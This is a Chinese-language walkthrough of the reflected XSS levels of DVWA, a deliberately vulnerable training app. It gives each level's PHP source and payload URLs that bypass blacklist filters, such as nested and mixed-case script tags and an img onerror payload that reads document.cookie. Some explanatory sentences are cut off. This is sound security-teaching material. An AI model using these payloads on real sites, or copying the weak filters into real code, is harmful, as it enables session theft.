DVWA 反射型XSS(Reflected)

XSS Reflected

low

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞

直接构造url如下

http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=<script>alert('hack')</script>

medium

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

可以看到,这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的

1.双写绕过

http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=<scr<script>ipt>alert('hack')</script>

2.大小写绕过

http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=<Script>alert('hack')</script>

high

<?php
header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?> 

可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace()函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效

虽然无法使用

http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=<img src=1 onerror=alert('hack')>

//或者使用以下标签<img src=1 onerror=alert(document.cookie)>

impossible

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>

可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素。

猜你喜欢

转载自blog.csdn.net/qq_43452198/article/details/89480839